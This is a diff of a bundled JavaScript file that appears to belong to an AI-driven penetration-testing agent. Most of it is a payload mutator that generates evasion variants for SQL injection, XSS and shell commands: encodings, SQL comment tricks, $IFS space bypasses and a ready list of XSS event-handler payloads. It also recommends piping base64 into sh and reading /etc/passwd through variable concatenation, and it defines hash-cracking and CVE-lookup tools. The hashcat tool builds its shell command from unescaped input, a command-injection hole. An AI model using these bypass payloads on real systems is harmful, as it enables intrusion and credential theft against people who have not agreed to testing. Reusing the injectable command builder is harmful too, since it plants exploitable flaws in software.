- variants.push({ payload: reversePayload(payload), transform: "reverse", description: "Reversed (use with rev | sh)" });
3973
- break;
3974
- case "utf8_overlong":
3975
- variants.push({ payload: utf8Overlong(payload), transform: "utf8_overlong", description: "UTF-8 overlong sequences" });
3976
- break;
3977
- case "mixed_encoding":
3978
- variants.push({ payload: mixedEncoding(payload), transform: "mixed_encoding", description: "Mixed encoding (partial)" });
3979
- break;
3980
- case "tag_alternative":
3981
- case "event_handler":
3982
- case "js_alternative":
3983
- variants.push(...generateXssAlternatives(payload));
3984
- break;
3985
- case "keyword_bypass":
3986
- variants.push({ payload: keywordBypass(payload), transform: "keyword_bypass", description: "Quote-inserted keyword bypass" });
3987
- variants.push({ payload: spaceBypass(payload), transform: "space_bypass", description: "$IFS space bypass" });
3988
- break;
3989
- case "space_bypass":
3990
- variants.push({ payload: payload.replace(/ /g, "${IFS}"), transform: "ifs", description: "$IFS space bypass" });
3991
- variants.push({ payload: payload.replace(/ /g, "%09"), transform: "tab", description: "Tab space bypass" });
3992
- variants.push({ payload: payload.replace(/ /g, "<"), transform: "redirect", description: "Redirect as separator" });
3993
- const parts = payload.split(" ");
3994
- if (parts.length >= 2) {
3995
- variants.push({ payload: `{${parts.join(",")}}`, transform: "brace", description: "Brace expansion" });
3996
- }
3997
- break;
3998
- }
3999
- }
4000
- if (context.startsWith("sql")) {
4001
- variants.push(...generateSqlAlternatives(payload));
4002
- }
4003
- recommendations.push(...getContextRecommendations(context, variants.length));
4004
- return {
4005
- variants: variants.slice(0, maxVariants),
4006
- recommendations
4007
- };
4008
- }
4009
- function getDefaultTransforms(context) {
4010
- switch (context) {
4011
- case "url_path":
4012
- case "url_param":
4013
- return ["url", "double_url", "unicode", "utf8_overlong", "mixed_encoding", "null_byte"];
4014
- case "html_body":
4015
- return ["html_entity_dec", "html_entity_hex", "unicode", "tag_alternative", "event_handler", "js_alternative"];
4016
- case "html_attr":
4017
- return ["html_entity_dec", "html_entity_hex", "event_handler"];
4018
- case "js_string":
4019
- return ["unicode", "hex", "base64", "js_alternative"];
4020
- case "sql_string":
4021
- case "sql_numeric":
4022
- return ["case_swap", "comment_insert", "whitespace_alt", "char_function", "concat_split", "url", "double_url"];
4023
- case "shell_cmd":
4024
- return ["keyword_bypass", "space_bypass", "base64", "reverse", "hex", "octal"];
4025
- case "xml_body":
4026
- return ["html_entity_dec", "html_entity_hex", "unicode"];
4027
- case "json_body":
4028
- return ["unicode"];
4029
- case "http_header":
4030
- case "cookie":
4031
- return ["url", "double_url", "base64"];
4032
- default:
4033
- return ["url", "double_url", "html_entity_dec", "unicode", "base64", "case_swap"];
4034
- }
4035
- }
4036
- function getContextRecommendations(context, variantCount) {
4037
- const recs = [];
4038
- recs.push(`Generated ${variantCount} variants for context: ${context}`);
4039
- switch (context) {
4040
- case "url_param":
4041
- recs.push("If all URL encoding fails: try HTTP Parameter Pollution (send same param twice)");
4042
- recs.push("Try switching GET \u2192 POST or changing Content-Type");
4043
- recs.push("Check if WebSocket endpoint exists (often unfiltered)");
4044
- break;
4045
- case "sql_string":
4046
- case "sql_numeric":
4047
- recs.push("If inline comments fail: try MySQL version comments /*!50000SELECT*/");
4048
- recs.push("Try time-based blind if error/union payloads are blocked");
4049
- recs.push("Use sqlmap with --tamper scripts for automated bypass");
4050
- break;
4051
- case "html_body":
4052
- recs.push("If common XSS tags blocked: try SVG, MathML, mutation XSS");
4053
- recs.push("Check CSP header \u2014 it determines what JS execution is possible");
4054
- recs.push("Try DOM-based XSS via document.location, innerHTML, postMessage");
4055
- break;
4056
- case "shell_cmd":
4057
- recs.push("Use ${IFS} for space, quotes for keyword bypass, base64 for full obfuscation");
4058
- recs.push("Try: echo PAYLOAD_BASE64 | base64 -d | sh");
4059
- recs.push("Variable concatenation: a=c;b=at;$a$b /etc/passwd");
4060
- break;
4061
- }
4062
- recs.push("If all variants fail: web_search for latest bypass techniques for this specific filter type");
4063
- return recs;
4064
- }
4065
-
4066
- // src/engine/tools/pentest.ts
4067
- var createPentestTools = (state) => [
4112
+ },
4068
4113
  {
4069
- name: TOOL_NAMES.UPDATE_MISSION,
4070
- description: `Update the mission summary and checklist.
4071
- Use this for strategic planning and maintaining long-term context during complex engagements.
4072
- The mission summary acts as your "long-term memory" \u2014 keep it updated with critical findings and overall progress.
4073
- The checklist tracks granular steps (e.g., "[ ] Crack hashes", "[x] Recon 10.10.10.5").
4074
- Mandatory when:
4075
- - Big goals change
4076
- - You encounter a major obstacle (firewall, port conflict)
4077
- - You gain a significant new access point (reverse shell)
4078
- - You need to summarize findings to prevent context overflow`,
4114
+ name: TOOL_NAMES.BROWSE_URL,
4115
+ description: `Navigate to a URL using a headless browser (Playwright).
4116
+ Use this for:
4117
+ - Browsing JavaScript-heavy websites
4118
+ - Extracting links, forms, and content
4119
+ - Viewing security advisories
4120
+ - Accessing documentation pages
4121
+ - Analyzing web application structure
4122
+ - Discovering web attack surface (forms, inputs, API endpoints)
4123
+
4124
+ Can extract forms and inputs for security testing.`,
4079
4125
  parameters: {
4080
- summary: { type: "string", description: "Updated mission summary (concise overview)" },
4081
- checklist_updates: {
4082
- type: "array",
4083
- items: {
4084
- type: "object",
4085
- properties: {
4086
- id: { type: "string", description: "Item ID (required for update/remove)" },
4087
- text: { type: "string", description: "Updated text" },
4088
- completed: { type: "boolean", description: "Completion status" },
4089
- remove: { type: "boolean", description: "Remove item if true" }
4090
- },
4091
- required: ["id"]
4092
- },
4093
- description: "Updates to existing checklist items"
4126
+ url: { type: "string", description: "URL to browse" },
4127
+ extract_forms: {
4128
+ type: "boolean",
4129
+ description: "Extract form information (inputs, actions, methods)"
4094
4130
  },
4095
- add_items: {
4096
- type: "array",
4097
- items: { type: "string" },
4098
- description: "New checklist items to add"
4131
+ extract_links: {
4132
+ type: "boolean",
4133
+ description: "Extract all links from the page"
4134
+ },
4135
+ screenshot: {
4136
+ type: "boolean",
4137
+ description: "Take a screenshot of the page"
4138
+ },
4139
+ extra_headers: {
4140
+ type: "object",
4141
+ description: 'Custom HTTP headers (e.g., {"X-Forwarded-For": "127.0.0.1"})',
4142
+ additionalProperties: { type: "string" }
4099
4143
  }
4100
4144
  },
4145
+ required: ["url"],
4101
4146
  execute: async (p) => {
4102
- if (p.summary) state.setMissionSummary(p.summary);
4103
- if (p.checklist_updates) state.updateMissionChecklist(p.checklist_updates);
4104
- if (p.add_items) state.addMissionChecklistItems(p.add_items);
4147
+ const result2 = await browseUrl(p.url, {
4148
+ extractForms: p.extract_forms,
4149
+ extractLinks: p.extract_links,
4150
+ screenshot: p.screenshot,
4151
+ extraHeaders: p.extra_headers
4152
+ });
4105
4153
  return {
4106
- success: true,
4107
- output: `Mission updated.
4108
- Summary: ${state.getMissionSummary()}
4109
- Checklist Items: ${state.getMissionChecklist().length}`
4154
+ success: result2.success,
4155
+ output: result2.output,
4156
+ error: result2.error
4110
4157
  };
4111
4158
  }
4112
4159
  },
4113
4160
  {
4114
- name: TOOL_NAMES.HASH_CRACK,
4115
- description: `Crack password hashes using hashcat or john.
4116
- Runs as a background process by default. Use bg_process status to check progress.
4117
- Common wordlists are automatically searched in /usr/share/wordlists (rockyou.txt, etc).`,
4118
- parameters: {
4119
- hashes: { type: "string", description: "Hash(es) to crack (raw or file path)" },
4120
- format: { type: "string", description: "Hash format (e.g., md5, sha1, nt, mscash2). Omit for auto-detect." },
4121
- wordlist: { type: "string", description: "Wordlist name or path (default: rockyou)" },
4122
- background: { type: "boolean", description: "Run in background. Default: true" }
4123
- },
4124
- required: ["hashes"],
4125
- execute: async (p) => {
4126
- const hashes = p.hashes;
4127
- const format = p.format;
4128
- const wordlist = p.wordlist || "rockyou";
4129
- const background = p.background !== false;
4130
- let wordlistPath = wordlist;
4131
- if (wordlist === "rockyou") wordlistPath = WORDLISTS.ROCKYOU;
4132
- const cmd = `hashcat -m ${format || HASHCAT_MODES.MD5} "${hashes}" "${wordlistPath}" --force`;
4133
- if (background) {
4134
- const proc = startBackgroundProcess(cmd, {
4135
- description: `Cracking hashes: ${hashes.slice(0, 20)}...`,
4136
- purpose: `Attempting to crack ${format || "unknown"} hashes using ${wordlist}`
4137
- });
4138
- return {
4139
- success: true,
4140
- output: `Hash cracking started in background (ID: ${proc.id}).
4141
- Command: ${cmd}
4142
- Check status with: bg_process({ action: "status", process_id: "${proc.id}" })`
4143
- };
4144
- } else {
4145
- return runCommand(cmd);
4146
- }
4147
- }
4148
- },
4149
- {
4150
- name: TOOL_NAMES.PARSE_NMAP,
4151
- description: "Parse nmap XML output to structured JSON",
4152
- parameters: { path: { type: "string", description: "Path to nmap XML" } },
4153
- required: ["path"],
4154
- execute: async (p) => parseNmap(p.path)
4155
- },
4156
- {
4157
- name: TOOL_NAMES.SEARCH_CVE,
4158
- description: "Search CVE and Exploit-DB for vulnerabilities",
4159
- parameters: {
4160
- service: { type: "string", description: "Service name" },
4161
- version: { type: "string", description: "Version number" }
4162
- },
4163
- required: ["service"],
4164
- execute: async (p) => searchCVE(p.service, p.version)
4165
- },
4166
- {
4167
- name: TOOL_NAMES.WEB_SEARCH,
4168
- description: `Search the web for information. Use this to:
4169
- - Find CVE details and exploit code
4170
- - Research security advisories
4171
- - Look up OWASP vulnerabilities
4172
- - Find documentation for tools and techniques
4173
- - Search for latest security news and exploits
4174
- - Research unknown services, parameters, or errors
4175
-
4176
- IMPORTANT: When you encounter an error or unknown behavior, use this tool to research it.
4177
- Returns search results with links and summaries.`,
4178
- parameters: {
4179
- query: { type: "string", description: "Search query" },
4180
- use_browser: {
4181
- type: "boolean",
4182
- description: "Use headless browser for JavaScript-heavy pages (slower but more complete)"
4183
- }
4184
- },
4185
- required: ["query"],
4186
- execute: async (p) => {
4187
- const query = p.query;
4188
- const useBrowser = p.use_browser;
4189
- if (useBrowser) {
4190
- const result2 = await webSearchWithBrowser(query, "google");
4191
- return {
4192
- success: result2.success,
4193
- output: result2.output,
4194
- error: result2.error
4195
- };
4196
- }
4197
- return webSearch(query);
4198
- }
4199
- },
4200
- {
4201
- name: TOOL_NAMES.BROWSE_URL,
4202
- description: `Navigate to a URL using a headless browser (Playwright).
4203
- Use this for:
4204
- - Browsing JavaScript-heavy websites
4205
- - Extracting links, forms, and content
4206
- - Viewing security advisories
4207
- - Accessing documentation pages
4208
- - Analyzing web application structure
4209
- - Discovering web attack surface (forms, inputs, API endpoints)
4210
-
4211
- Can extract forms and inputs for security testing.`,
4212
- parameters: {
4213
- url: { type: "string", description: "URL to browse" },
4214
- extract_forms: {
4215
- type: "boolean",
4216
- description: "Extract form information (inputs, actions, methods)"
4217
- },
4218
- extract_links: {
4219
- type: "boolean",
4220
- description: "Extract all links from the page"
4221
- },
4222
- screenshot: {
4223
- type: "boolean",
4224
- description: "Take a screenshot of the page"
4225
- },
4226
- extra_headers: {
4227
- type: "object",
4228
- description: 'Custom HTTP headers (e.g., {"X-Forwarded-For": "127.0.0.1"})',
4229
- additionalProperties: { type: "string" }
4230
- }
4231
- },
4232
- required: ["url"],
4233
- execute: async (p) => {
4234
- const result2 = await browseUrl(p.url, {
4235
- extractForms: p.extract_forms,
4236
- extractLinks: p.extract_links,
4237
- screenshot: p.screenshot,
4238
- extraHeaders: p.extra_headers
4239
- });
4240
- return {
4241
- success: result2.success,
4242
- output: result2.output,
4243
- error: result2.error
4244
- };
4245
- }
4246
- },
4247
- {
4248
- name: TOOL_NAMES.FILL_FORM,
4249
- description: `Fill and submit a web form. Use this for:
4250
- - Testing form-based authentication
4251
- - Submitting search forms
4252
- - Testing for form injection vulnerabilities
4253
- - Automated form interaction`,
4161
+ name: TOOL_NAMES.FILL_FORM,
4162
+ description: `Fill and submit a web form. Use this for:
4163
+ - Testing form-based authentication
4164
+ - Submitting search forms
4165
+ - Testing for form injection vulnerabilities
4166
+ - Automated form interaction`,
4254
4167
  parameters: {
4255
4168
  url: { type: "string", description: "URL containing the form" },
4256
4169
  fields: {
@@ -4355,167 +4268,384 @@ Returns a step-by-step guide for:
4355
4268
  - Check if a service version has known vulnerabilities
4356
4269
  - Get exploit information
4357
4270
 
4358
- Includes critical CVEs like Log4Shell, Spring4Shell, EternalBlue, XZ Backdoor, etc.
4359
- If CVE not found locally, use web_search to find it online.`,
4271
+ Includes critical CVEs like Log4Shell, Spring4Shell, EternalBlue, XZ Backdoor, etc.
4272
+ If CVE not found locally, use web_search to find it online.`,
4273
+ parameters: {
4274
+ cve_id: {
4275
+ type: "string",
4276
+ description: 'CVE identifier (e.g., "CVE-2021-44228") or "list" to see all known CVEs'
4277
+ }
4278
+ },
4279
+ required: ["cve_id"],
4280
+ execute: async (p) => {
4281
+ const cveId = p.cve_id;
4282
+ if (cveId.toLowerCase() === "list") {
4283
+ const list = Object.entries(CVE_DATABASE).map(([id, info]) => `- ${id}: ${info.name} (${info.severity}) - ${info.affected}`).join("\n");
4284
+ return {
4285
+ success: true,
4286
+ output: `# Known CVEs in Database
4287
+
4288
+ ${list}
4289
+
4290
+ Use the specific CVE ID to get more details.
4291
+ For CVEs not in this list, use web_search to find them.`
4292
+ };
4293
+ }
4294
+ const cve = CVE_DATABASE[cveId.toUpperCase()];
4295
+ if (cve) {
4296
+ return {
4297
+ success: true,
4298
+ output: `# ${cveId}
4299
+
4300
+ **Name:** ${cve.name}
4301
+ **Severity:** ${cve.severity}
4302
+ **Affected:** ${cve.affected}
4303
+ **Description:** ${cve.description}`
4304
+ };
4305
+ }
4306
+ return {
4307
+ success: true,
4308
+ output: `CVE ${cveId} not in local database. Use web_search({ query: "${cveId} exploit POC" }) to find more information online.`
4309
+ };
4310
+ }
4311
+ }
4312
+ ];
4313
+
4314
+ // src/shared/utils/payload-mutator.ts
4315
+ function urlEncode(s) {
4316
+ return [...s].map((c) => {
4317
+ const code = c.charCodeAt(0);
4318
+ if (code >= 65 && code <= 90 || code >= 97 && code <= 122 || code >= 48 && code <= 57) {
4319
+ return c;
4320
+ }
4321
+ return `%${code.toString(16).padStart(2, "0").toUpperCase()}`;
4322
+ }).join("");
4323
+ }
4324
+ function urlEncodeAll(s) {
4325
+ return [...s].map((c) => `%${c.charCodeAt(0).toString(16).padStart(2, "0").toUpperCase()}`).join("");
4326
+ }
4327
+ function doubleUrlEncode(s) {
4328
+ return urlEncodeAll(urlEncodeAll(s));
4329
+ }
4330
+ function tripleUrlEncode(s) {
4331
+ return urlEncodeAll(urlEncodeAll(urlEncodeAll(s)));
4332
+ }
4333
+ function unicodeEncode(s) {
4334
+ return [...s].map((c) => `%u${c.charCodeAt(0).toString(16).padStart(4, "0")}`).join("");
4335
+ }
4336
+ function htmlEntityDec(s) {
4337
+ return [...s].map((c) => `&#${c.charCodeAt(0)};`).join("");
4338
+ }
4339
+ function htmlEntityHex(s) {
4340
+ return [...s].map((c) => `&#x${c.charCodeAt(0).toString(16)};`).join("");
4341
+ }
4342
+ function hexEncode(s) {
4343
+ return "0x" + [...s].map((c) => c.charCodeAt(0).toString(16).padStart(2, "0")).join("");
4344
+ }
4345
+ function octalEncode(s) {
4346
+ return [...s].map((c) => `\\${c.charCodeAt(0).toString(8)}`).join("");
4347
+ }
4348
+ function base64Encode(s) {
4349
+ return Buffer.from(s).toString("base64");
4350
+ }
4351
+ function caseSwap(s) {
4352
+ return [...s].map((c) => {
4353
+ if (Math.random() > 0.5) return c.toUpperCase();
4354
+ return c.toLowerCase();
4355
+ }).join("");
4356
+ }
4357
+ function commentInsert(s) {
4358
+ const keywords = ["SELECT", "UNION", "FROM", "WHERE", "INSERT", "UPDATE", "DELETE", "DROP", "AND", "OR", "ORDER", "GROUP", "HAVING"];
4359
+ let result2 = s;
4360
+ for (const kw of keywords) {
4361
+ const regex = new RegExp(kw, "gi");
4362
+ result2 = result2.replace(regex, (match) => {
4363
+ if (match.length <= 2) return match;
4364
+ const mid = Math.floor(match.length / 2);
4365
+ return match.slice(0, mid) + "/**/" + match.slice(mid);
4366
+ });
4367
+ }
4368
+ return result2;
4369
+ }
4370
+ function whitespaceAlt(s) {
4371
+ const alts = ["%09", "%0a", "%0c", "%0d", "/**/"];
4372
+ const alt = alts[Math.floor(Math.random() * alts.length)];
4373
+ return s.replace(/ /g, alt);
4374
+ }
4375
+ function charFunction(s, dbType = "mysql") {
4376
+ const chars = [...s].map((c) => c.charCodeAt(0));
4377
+ if (dbType === "mysql") {
4378
+ return `CHAR(${chars.join(",")})`;
4379
+ }
4380
+ if (dbType === "mssql") {
4381
+ return chars.map((c) => `CHAR(${c})`).join("+");
4382
+ }
4383
+ return chars.map((c) => `CHR(${c})`).join("||");
4384
+ }
4385
+ function concatSplit(s) {
4386
+ if (s.length <= 2) return s;
4387
+ const mid = Math.floor(s.length / 2);
4388
+ return `CONCAT('${s.slice(0, mid)}','${s.slice(mid)}')`;
4389
+ }
4390
+ function nullByteAppend(s) {
4391
+ return s + "%00";
4392
+ }
4393
+ function reversePayload(s) {
4394
+ return [...s].reverse().join("");
4395
+ }
4396
+ function utf8Overlong(s) {
4397
+ return s.replace(/\//g, "%c0%af").replace(/\./g, "%c0%ae");
4398
+ }
4399
+ function mixedEncoding(s) {
4400
+ return [...s].map((c, i) => {
4401
+ if (i % 2 === 0 && c !== " ") return c;
4402
+ return `%${c.charCodeAt(0).toString(16).padStart(2, "0")}`;
4403
+ }).join("");
4404
+ }
4405
+ function keywordBypass(s) {
4406
+ return [...s].map((c, i) => {
4407
+ if (i > 0 && i < s.length - 1 && i % 3 === 0 && c.match(/[a-z]/i)) {
4408
+ return `'${c}'`;
4409
+ }
4410
+ return c;
4411
+ }).join("");
4412
+ }
4413
+ function spaceBypass(s) {
4414
+ return s.replace(/ /g, "${IFS}");
4415
+ }
4416
+ function generateXssAlternatives(payload) {
4417
+ const variants = [];
4418
+ const tagPayloads = [
4419
+ { p: "<svg onload=alert(1)>", d: "SVG onload" },
4420
+ { p: "<img src=x onerror=alert(1)>", d: "IMG onerror" },
4421
+ { p: "<body onload=alert(1)>", d: "BODY onload" },
4422
+ { p: "<input onfocus=alert(1) autofocus>", d: "INPUT onfocus autofocus" },
4423
+ { p: "<details open ontoggle=alert(1)>", d: "DETAILS ontoggle" },
4424
+ { p: "<marquee onstart=alert(1)>", d: "MARQUEE onstart" },
4425
+ { p: "<video src=x onerror=alert(1)>", d: "VIDEO onerror" },
4426
+ { p: "<audio src=x onerror=alert(1)>", d: "AUDIO onerror" },
4427
+ { p: '<iframe src="javascript:alert(1)">', d: "IFRAME javascript protocol" },
4428
+ { p: '<object data="javascript:alert(1)">', d: "OBJECT javascript protocol" },
4429
+ { p: "<svg><animate onbegin=alert(1) attributeName=x dur=1s>", d: "SVG animate onbegin" }
4430
+ ];
4431
+ const alertBypass = [
4432
+ { p: "confirm(1)", d: "confirm() instead of alert()" },
4433
+ { p: "prompt(1)", d: "prompt() instead of alert()" },
4434
+ { p: 'eval(atob("YWxlcnQoMSk="))', d: "eval+base64 of alert(1)" },
4435
+ { p: "window['al'+'ert'](1)", d: "string concat alert" },
4436
+ { p: "self[`al`+`ert`](1)", d: "template literal alert" },
4437
+ { p: '[].constructor.constructor("alert(1)")()', d: "constructor chain" }
4438
+ ];
4439
+ for (const tag of tagPayloads) {
4440
+ variants.push({ payload: tag.p, transform: "tag_alternative", description: tag.d });
4441
+ }
4442
+ for (const alt of alertBypass) {
4443
+ variants.push({ payload: `<img src=x onerror=${alt.p}>`, transform: "js_alternative", description: alt.d });
4444
+ }
4445
+ return variants;
4446
+ }
4447
+ function generateSqlAlternatives(payload) {
4448
+ const variants = [];
4449
+ variants.push({ payload: payload.replace(/--.*$/, "--"), transform: "comment_variation", description: "Double dash comment" });
4450
+ variants.push({ payload: payload.replace(/--.*$/, "#"), transform: "comment_variation", description: "Hash comment (MySQL)" });
4451
+ variants.push({ payload: payload.replace(/--.*$/, "/*"), transform: "comment_variation", description: "Block comment" });
4452
+ variants.push({ payload: payload.replace(/--.*$/, "-- -"), transform: "comment_variation", description: "Dash-space-dash" });
4453
+ variants.push({ payload: payload.replace(/--.*$/, ";--"), transform: "comment_variation", description: "Semicolon then comment" });
4454
+ const mysqlVersion = payload.replace(/(UNION|SELECT|INSERT|UPDATE|DELETE|FROM|WHERE)/gi, "/*!50000$1*/");
4455
+ variants.push({ payload: mysqlVersion, transform: "mysql_version_comment", description: "MySQL version comment bypass" });
4456
+ return variants;
4457
+ }
4458
+ function mutatePayload(request) {
4459
+ const { payload, transforms, context = "generic", maxVariants = 20 } = request;
4460
+ const variants = [];
4461
+ const recommendations = [];
4462
+ const activeTransforms = transforms || getDefaultTransforms(context);
4463
+ for (const transform of activeTransforms) {
4464
+ switch (transform) {
4465
+ case "url":
4466
+ variants.push({ payload: urlEncode(payload), transform: "url", description: "URL encoded (special chars only)" });
4467
+ variants.push({ payload: urlEncodeAll(payload), transform: "url_full", description: "URL encoded (all chars)" });
4468
+ break;
4469
+ case "double_url":
4470
+ variants.push({ payload: doubleUrlEncode(payload), transform: "double_url", description: "Double URL encoded" });
4471
+ break;
4472
+ case "triple_url":
4473
+ variants.push({ payload: tripleUrlEncode(payload), transform: "triple_url", description: "Triple URL encoded" });
4474
+ break;
4475
+ case "unicode":
4476
+ variants.push({ payload: unicodeEncode(payload), transform: "unicode", description: "Unicode escape sequences" });
4477
+ break;
4478
+ case "html_entity_dec":
4479
+ variants.push({ payload: htmlEntityDec(payload), transform: "html_entity_dec", description: "HTML decimal entities" });
4480
+ break;
4481
+ case "html_entity_hex":
4482
+ variants.push({ payload: htmlEntityHex(payload), transform: "html_entity_hex", description: "HTML hex entities" });
4483
+ break;
4484
+ case "hex":
4485
+ variants.push({ payload: hexEncode(payload), transform: "hex", description: "Hex encoded" });
4486
+ break;
4487
+ case "octal":
4488
+ variants.push({ payload: octalEncode(payload), transform: "octal", description: "Octal encoded" });
4489
+ break;
4490
+ case "base64":
4491
+ variants.push({ payload: base64Encode(payload), transform: "base64", description: "Base64 encoded" });
4492
+ break;
4493
+ case "case_swap":
4494
+ for (let i = 0; i < 3; i++) {
4495
+ variants.push({ payload: caseSwap(payload), transform: "case_swap", description: `Case variation ${i + 1}` });
4496
+ }
4497
+ break;
4498
+ case "comment_insert":
4499
+ variants.push({ payload: commentInsert(payload), transform: "comment_insert", description: "SQL comments in keywords" });
4500
+ break;
4501
+ case "whitespace_alt":
4502
+ variants.push({ payload: whitespaceAlt(payload), transform: "whitespace_alt", description: "Alternative whitespace chars" });
4503
+ variants.push({ payload: payload.replace(/ /g, "/**/"), transform: "whitespace_comment", description: "Comment as whitespace" });
4504
+ variants.push({ payload: payload.replace(/ /g, "+"), transform: "whitespace_plus", description: "Plus as whitespace" });
4505
+ break;
4506
+ case "char_function":
4507
+ variants.push({ payload: charFunction(payload, "mysql"), transform: "char_mysql", description: "MySQL CHAR() encoding" });
4508
+ variants.push({ payload: charFunction(payload, "mssql"), transform: "char_mssql", description: "MSSQL CHAR() encoding" });
4509
+ variants.push({ payload: charFunction(payload, "pg"), transform: "char_pg", description: "PostgreSQL CHR() encoding" });
4510
+ break;
4511
+ case "concat_split":
4512
+ variants.push({ payload: concatSplit(payload), transform: "concat_split", description: "String split via CONCAT" });
4513
+ break;
4514
+ case "null_byte":
4515
+ variants.push({ payload: nullByteAppend(payload), transform: "null_byte", description: "Null byte appended" });
4516
+ variants.push({ payload: payload + "%00.jpg", transform: "null_byte_ext", description: "Null byte + fake extension" });
4517
+ break;
4518
+ case "reverse":
4519
+ variants.push({ payload: reversePayload(payload), transform: "reverse", description: "Reversed (use with rev | sh)" });
4520
+ break;
4521
+ case "utf8_overlong":
4522
+ variants.push({ payload: utf8Overlong(payload), transform: "utf8_overlong", description: "UTF-8 overlong sequences" });
4523
+ break;
4524
+ case "mixed_encoding":
4525
+ variants.push({ payload: mixedEncoding(payload), transform: "mixed_encoding", description: "Mixed encoding (partial)" });
4526
+ break;
4527
+ case "tag_alternative":
4528
+ case "event_handler":
4529
+ case "js_alternative":
4530
+ variants.push(...generateXssAlternatives(payload));
4531
+ break;
4532
+ case "keyword_bypass":
4533
+ variants.push({ payload: keywordBypass(payload), transform: "keyword_bypass", description: "Quote-inserted keyword bypass" });
4534
+ variants.push({ payload: spaceBypass(payload), transform: "space_bypass", description: "$IFS space bypass" });
4535
+ break;
4536
+ case "space_bypass":
4537
+ variants.push({ payload: payload.replace(/ /g, "${IFS}"), transform: "ifs", description: "$IFS space bypass" });
4538
+ variants.push({ payload: payload.replace(/ /g, "%09"), transform: "tab", description: "Tab space bypass" });
4539
+ variants.push({ payload: payload.replace(/ /g, "<"), transform: "redirect", description: "Redirect as separator" });
4540
+ const parts = payload.split(" ");
4541
+ if (parts.length >= 2) {
4542
+ variants.push({ payload: `{${parts.join(",")}}`, transform: "brace", description: "Brace expansion" });
4543
+ }
4544
+ break;
4545
+ }
4546
+ }
4547
+ if (context.startsWith("sql")) {
4548
+ variants.push(...generateSqlAlternatives(payload));
4549
+ }
4550
+ recommendations.push(...getContextRecommendations(context, variants.length));
4551
+ return {
4552
+ variants: variants.slice(0, maxVariants),
4553
+ recommendations
4554
+ };
4555
+ }
4556
+ function getDefaultTransforms(context) {
4557
+ switch (context) {
4558
+ case "url_path":
4559
+ case "url_param":
4560
+ return ["url", "double_url", "unicode", "utf8_overlong", "mixed_encoding", "null_byte"];
4561
+ case "html_body":
4562
+ return ["html_entity_dec", "html_entity_hex", "unicode", "tag_alternative", "event_handler", "js_alternative"];
4563
+ case "html_attr":
4564
+ return ["html_entity_dec", "html_entity_hex", "event_handler"];
4565
+ case "js_string":
4566
+ return ["unicode", "hex", "base64", "js_alternative"];
4567
+ case "sql_string":
4568
+ case "sql_numeric":
4569
+ return ["case_swap", "comment_insert", "whitespace_alt", "char_function", "concat_split", "url", "double_url"];
4570
+ case "shell_cmd":
4571
+ return ["keyword_bypass", "space_bypass", "base64", "reverse", "hex", "octal"];
4572
+ case "xml_body":
4573
+ return ["html_entity_dec", "html_entity_hex", "unicode"];
4574
+ case "json_body":
4575
+ return ["unicode"];
4576
+ case "http_header":
4577
+ case "cookie":
4578
+ return ["url", "double_url", "base64"];
4579
+ default:
4580
+ return ["url", "double_url", "html_entity_dec", "unicode", "base64", "case_swap"];
4581
+ }
4582
+ }
4583
+ function getContextRecommendations(context, variantCount) {
4584
+ const recs = [];
4585
+ recs.push(`Generated ${variantCount} variants for context: ${context}`);
4586
+ switch (context) {
4587
+ case "url_param":
4588
+ recs.push("If all URL encoding fails: try HTTP Parameter Pollution (send same param twice)");
4589
+ recs.push("Try switching GET \u2192 POST or changing Content-Type");
4590
+ recs.push("Check if WebSocket endpoint exists (often unfiltered)");
4591
+ break;
4592
+ case "sql_string":
4593
+ case "sql_numeric":
4594
+ recs.push("If inline comments fail: try MySQL version comments /*!50000SELECT*/");
4595
+ recs.push("Try time-based blind if error/union payloads are blocked");
4596
+ recs.push("Use sqlmap with --tamper scripts for automated bypass");
4597
+ break;
4598
+ case "html_body":
4599
+ recs.push("If common XSS tags blocked: try SVG, MathML, mutation XSS");
4600
+ recs.push("Check CSP header \u2014 it determines what JS execution is possible");
4601
+ recs.push("Try DOM-based XSS via document.location, innerHTML, postMessage");
4602
+ break;
4603
+ case "shell_cmd":
4604
+ recs.push("Use ${IFS} for space, quotes for keyword bypass, base64 for full obfuscation");
4605
+ recs.push("Try: echo PAYLOAD_BASE64 | base64 -d | sh");
4606
+ recs.push("Variable concatenation: a=c;b=at;$a$b /etc/passwd");
4607
+ break;
4608
+ }
4609
+ recs.push("If all variants fail: web_search for latest bypass techniques for this specific filter type");
4610
+ return recs;
4611
+ }
4612
+
4613
+ // src/engine/tools/pentest-attack-tools.ts
4614
+ var createAttackTools = (_state) => [
4615
+ {
4616
+ name: TOOL_NAMES.HASH_CRACK,
4617
+ description: `Crack password hashes using hashcat or john.
4618
+ Runs as a background process by default. Use bg_process status to check progress.
4619
+ Common wordlists are automatically searched in /usr/share/wordlists (rockyou.txt, etc).`,
4360
4620
  parameters: {
4361
- cve_id: {
4362
- type: "string",
4363
- description: 'CVE identifier (e.g., "CVE-2021-44228") or "list" to see all known CVEs'
4364
- }
4621
+ hashes: { type: "string", description: "Hash(es) to crack (raw or file path)" },
4622
+ format: { type: "string", description: "Hash format (e.g., md5, sha1, nt, mscash2). Omit for auto-detect." },
4623
+ wordlist: { type: "string", description: "Wordlist name or path (default: rockyou)" },
4624
+ background: { type: "boolean", description: "Run in background. Default: true" }
4365
4625
  },
4366
- required: ["cve_id"],
4626
+ required: ["hashes"],
4367
4627
  execute: async (p) => {
4368
- const cveId = p.cve_id;
4369
- if (cveId.toLowerCase() === "list") {
4370
- const list = Object.entries(CVE_DATABASE).map(([id, info]) => `- ${id}: ${info.name} (${info.severity}) - ${info.affected}`).join("\n");
4371
- return {
4372
- success: true,
4373
- output: `# Known CVEs in Database
4374
-
4375
- ${list}
4376
-
4377
- Use the specific CVE ID to get more details.
4378
- For CVEs not in this list, use web_search to find them.`
4379
- };
4380
- }
4381
- const cve = CVE_DATABASE[cveId.toUpperCase()];
4382
- if (cve) {
4628
+ const hashes = p.hashes;
4629
+ const format = p.format;
4630
+ const wordlist = p.wordlist || "rockyou";
4631
+ const background = p.background !== false;
4632
+ let wordlistPath = wordlist;
4633
+ if (wordlist === "rockyou") wordlistPath = WORDLISTS.ROCKYOU;
4634
+ const cmd = `hashcat -m ${format || HASHCAT_MODES.MD5} "${hashes}" "${wordlistPath}" --force`;
4635
+ if (background) {
4636
+ const proc = startBackgroundProcess(cmd, {
4637
+ description: `Cracking hashes: ${hashes.slice(0, 20)}...`,
4638
+ purpose: `Attempting to crack ${format || "unknown"} hashes using ${wordlist}`
4639
+ });
4383
4640
  return {
4384
4641
  success: true,
4385
- output: `# ${cveId}
4386
-
4387
- **Name:** ${cve.name}
4388
- **Severity:** ${cve.severity}
4389
